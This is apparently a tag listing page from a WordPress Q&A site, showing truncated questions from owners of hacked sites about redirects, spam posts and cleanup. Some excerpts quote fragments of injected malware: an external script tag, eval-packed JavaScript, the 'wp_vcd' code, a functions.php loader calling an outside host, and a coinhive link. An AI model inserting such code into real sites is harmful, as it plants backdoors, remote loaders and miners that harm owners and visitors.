Questions tagged [hacked]
About web sites before and after a security breach. If you need this tag your question is probably off topic.
130
questions
1
vote
1answer
34 views
My WordPress Blog sends malicious traffic to other sites [closed]
I'm running a wordpress blog on a Compute Engine VM on Google Cloud. A few days ago, I received an email from Google telling me that a potential violation of their Acceptable Use Policy has been ...
2
votes
2answers
29 views
Hacked website redirect, only on desktop, help with restoring it [closed]
This is my first post, I tried searching for similar problems, didn't find any that would fit my situation. Anyway.
Recently my cousins website got hacked, I decided to take a look and try to fix it ...
0
votes
3answers
58 views
my wordpress website was redirect to zoocahda.buzz [closed]
my wordpress website sometime was redirect to zoocahda.buzz. Does it was hacked? and how to stop it from redirect?
0
votes
1answer
18 views
Am receiving more than thousand mails in single day from 'sample@email.tst' continuously
Am using 'WP Offload SES Lite' Plugin to collect Question & Answer through forms. But yesterday I was receiving thousands of mail in a single day continuously. I think someone tried to hack the ...
0
votes
1answer
18 views
Is this a hack? WordPress Usernames of every website we have changed into one single name automatically?
We host a lot of WordPress websites, today we noticed that almost every WordPress website we hosted changed their users' usernames into one single name, not only one user all the users of a website is ...
0
votes
0answers
13 views
Tracking a “hack” on a WordPress site using tokens
I have got a copy of log files from a recently hacked WordPress website and was trying to analyse them and notices some wired requests.
The first attempt was blocked by a NGINX rule:
[23/Aug/2020:19:...
0
votes
1answer
300 views
Wordpress Hacked 5.5 admin-ajax.php [closed]
I am using the latest version (5.5) of WordPress themes and plugins. I also have 2 custom-written add-ons. I tried all the protection methods I know of.
wp-config.php and wp-admin url and admin nick ...
0
votes
3answers
829 views
How to bulk delete a certain part of all wordpress posts
site been hacked, and all posts been injected a line of js code under the content!
<script src='https://js.xxxxxxx.ga/stat.js?n=ns1' type='text/javascript'></script>
I have found the ...
0
votes
0answers
26 views
What are these weird url's in my Google Analytics reports?
I have a WP blog site. I have installed google analytics.
From one or two months ago, there are weird access frequently, but not every day. I can see that url from the Google Analytics.
The urls are ...
1
vote
1answer
39 views
Invisible spam post in backend
I do have a problem on my WordPress site. In the frontend there is a spam post (not a comment, a post) visible to everybody. I don't know where it comes from and all malware scans were negative so far....
0
votes
2answers
103 views
How to find exploited wordpress plugin [closed]
Some information: Yesterday I found out that my wordpress page has been 'hacked' (for the lack of a better word). Everyone going to my page was redirected to a http://mywordpresspage.com/NetflixXXX ...
0
votes
0answers
93 views
Should I prevent access to .htaccess and wp-config.php files?
Someone at stackoverflow suggested I should deny access to the two files by doing below in .htaccess.
<files ~ "^.*\.([Hh][Tt][Aa])">
order allow,deny
deny from all
satisfy all
</files&...
-2
votes
1answer
564 views
How does this hacking script infects the entire website under the hosting? [closed]
I have client who's functions.php file is infected with this code. Client used a nulled theme for sure. I am curious about how it infects the other websites under the same hosting.
I tried in ...
0
votes
1answer
19 views
WordPress Database Re-installed (Hacked)
Over the past 2 days, exactly in the hour of 8 o'clock, my WordPress blog has rendered with one sample post, as if the databases are being reinstalled. The database usually holds around 2-3 years of ...
0
votes
1answer
27 views
Copy wordpress website pages and content
My Hosting account got hacked and malicious files are being auto generated. I can upload fresh themes and plugins in a new hosting account. What is best way to transfer content without the malicious ...
0
votes
1answer
28 views
Could a user account with a stolen password compromised entire WP site?
Assuming a user with Subscriber role account with a weak password has been hacked. So, can someone use this account to compromise a WP site?
0
votes
1answer
44 views
How to log into WordPress via GET/POST
I have an old WordPress site, which I have no FTP access or anything and in WP-Login.php I'm getting this message.
But I remember my login credentials, mail and password.
Is there anyway I could ...
1
vote
1answer
76 views
How To Clean The Malware Infected & Hacked WordPress Websites? [duplicate]
I have some websites build with WordPress. My sites are affected by Malware programs and Hacked by someone frequently. Finally got a solution to stop this issue.
I create this post for share my tips ...
2
votes
1answer
56 views
My wordpress site was hacked - is my htaccess file compromised?
My Wordpress site (on a shared server) was compromised. It's full of spam links when I do a google site: check.
I removed a re-direct through cpanel so at least now the spam pages do not re-direct ...
0
votes
0answers
19 views
What to do about a hacked WordPress website and server? [duplicate]
My WordPress website has been hacked. Google sent me an email stating that the site would be listed in browsers such as Google Chrome and display a warning when users visit or download certain files ...
1
vote
2answers
643 views
What's the effect if this malware if infected your WP?
Just curious here and I need better understanding about this malware. Because their are websites are infected by this malware including my websites. But I can clean them all. Usually this malware ...
1
vote
0answers
29 views
Malware script in database post table only? [closed]
How can java script be visible in phpmyadmin posts but not visible within the wordpress environment??
Been struggling to clean a wordpress site after an annoying hack which popsup ads and redirects.
...
0
votes
1answer
29 views
How do I know if my WP Theme is using infamous TimThumb?
Is there a way to know if my current WordPress theme is using the infamous TimThumb plugin?
0
votes
1answer
35 views
Subpage is redirecting to spam site
My Wordpress site has recently been hacked and I followed the steps described here to clear it: https://wordpress.org/support/article/faq-my-site-was-hacked/
The whole site redirected to a spam ...
0
votes
1answer
37 views
Why wordpress is hitting another url
I got a mail from main hosting that your wordpress site is attacking or hitting another website each and everytime it loaded. I have checked all the plugins and code but couldn't find any solution.I ...
0
votes
0answers
51 views
Javascript Injection on my WordPress Site
My WordPress site is redirecting the user to some ad sites. It has generated some random clicks and each click redirects to the ad site. Also, now my site is labeled as dangerous by google. I have ...
0
votes
1answer
32 views
Spam pages hack? [closed]
A few days ago I noticed a few blog posts on my site that were spam and I knew I had been hacked. I did a few things in an attempt to clean the hack (Wordfence deleting unknown files, securing the ...
0
votes
1answer
67 views
how can i find malware code and remove from wordpress site to stop it redirecting to hackers click view pages
how can I find malware code and remove from a WordPress site to stop it redirecting to hackers click view pages
0
votes
1answer
32 views
Check for malicious code?
I have searched around and seen 'what to do if your site is hacked', and I'm not (necessarily!) looking for a plug in. The site I look after was hacked a while ago and I think all is well now. I ...
0
votes
3answers
140 views
Why would a hacker add this code to each post, and how to do mass cleanup?
Here is example of code I have seen inserted in two different posts:
<noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){...
1
vote
1answer
23 views
New user is assigned 2 roles: customer and superadmin
I've a question about user role in WordPress.
After new user already registered. They can access with superadmin and customer role.
They can access to /wp-admin/, create blog, etc..
For my ...
0
votes
0answers
28 views
Help determining if the following are legitimate files
I have installed wordfence and did a scan and I have the following warnings. I am not sure if they are left over from a hacking attack last year that sitelock have not removed or if they are required....
2
votes
5answers
5k views
Is this a hacking script in function.php?
I have code like below in neve theme WordPress. I feel suspicious about this code
$wp_auth_key='ac15616a33a4bae1388c29de0202c5e1';
if (($tmpcontent = @file_get_contents("http://www.darors.com/...
0
votes
1answer
25 views
Is there a simple way to set wordpress site files back to out of the box?
I have an amateur wordpress site for a club which seems to have been hacked. With some help on here I have undone some of this but I've still got quite a few problems. Mainly I can't get into the ...
0
votes
3answers
515 views
My blog was hacked? WP posting random posts
I have been searching at this site posts about blogs being hacker, but I haven't find something like this.
One of our Editor's account has started to publish random posts. Our first thought was his ...
0
votes
1answer
30 views
Have I been hacked - getting new site setup email for 8 localhost wordpress sites
I've just found some emails in my spam folder saying a new wordpress site has been set up on my local server, for 8 already existing wordpress installs.
I'm assuming its been hacked but am not 100%. ...
-1
votes
1answer
37 views
Is my WP site being hacked?
In the past month or so I've seen 3 or 4 new users signing up each day with "awkward" usernames (letters/numbers). Then, a few days later, they start changing their password. And then a few days later ...
0
votes
2answers
25 views
Open content directory help!
I just found out tha I have a wp-content directory that is open where you can see all of my files that I have on mysite- pdf's, jpgs, etc. Files that are meant to be for members only as well....all ...
0
votes
1answer
168 views
Some one is trying to hack my website, Need guidance [closed]
There are multiple IPs that are trying to access my directories. I am using iThemes Security plugin and it shows the following lists.
These are the files all of the IPs are trying to access every ...
0
votes
1answer
220 views
Site Hacked - Wordpress Divi Site - Cannot find where to fix the issue? [closed]
I need help trying to find out where to look to find out how to get rid of an issue on a wordpress site I manage. If you go to http://www.thedailycrave.com you will see if you scroll down to the ...
1
vote
1answer
5k views
You appear to have already installed WordPress. To reinstall please clear your old database tables first
My website was crashed by hackers and i am trying to restore from my backup.
i have deleted all old files and trying to restore from the backup. i copied all my WP files in public_html. after ...
-1
votes
1answer
193 views
WP Site Hacked, Serp Google Spam [closed]
It all began when Google Ads suspended my ads because they found a malware in my WP site.
I tried to do scan with some free plugins: Wordefence, anti-malware and Securi, or online tool like: sitecheck....
1
vote
2answers
77 views
Unfamiliar query string in Google Search Console URL not found
An old client site was hacked.
After deleting the old site and rebuilding a new site, the Google Search Console has quite a few (50 or so) URL not found with this address pattern.
/category/...
1
vote
1answer
543 views
How can I find security hole in my wordpress site?
Last day I've noticed that my site is hacked and a PHP backdoor is installed on my site.
Virus scanner reported that a plugin file is inside my wp-content/uploads which I did not upload it myself. It ...
0
votes
2answers
1k views
What does this code do? (Injected code hacked)
This code below was been injected in my wordpress theme on functions.php
Can someone explain me what does the code do? how that was been done?
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(...
0
votes
1answer
573 views
malware in wordpress installer on dreamhost. <link rel='dns-prefetch' href='//coinhive.com' /> [closed]
I was trying to create a website.
It is live. And you can see that there is a malware which google detected.
In the source you will see three lines
<link rel='dns-prefetch' href='//coinhive.com'...
-1
votes
1answer
29 views
How to remove content from hacked pages? [closed]
My WordPress/Woocommerce website was hacked and I ended up with a video category as well as urls to dead internal video links on the admin user's profile page. (I have attached an image of the user ...
1
vote
2answers
221 views
Strange gibberish JavaScript in Editor – site hacked?
A client's website runs on the theme 'enfold' which features the "Enfold Advanced Layout Editor". Currently that editor is broken – probably due to old version vs php or something. Anyways – trying to ...
0
votes
1answer
31 views
Where I can find a list of Wordpress security risks?
I'm working on one project where I need to find a list of different security risks or malicious codes which were used by hackers nowadays or in past.
I can go and search one by one, but it will take ...
1
vote
1answer
857 views
wp-config.php modified?
This might be a broad topic but I am searching and reading but not able to clear my doubts, please advice in answer or links from where I can understand about how codes are injected to WP by attackers....
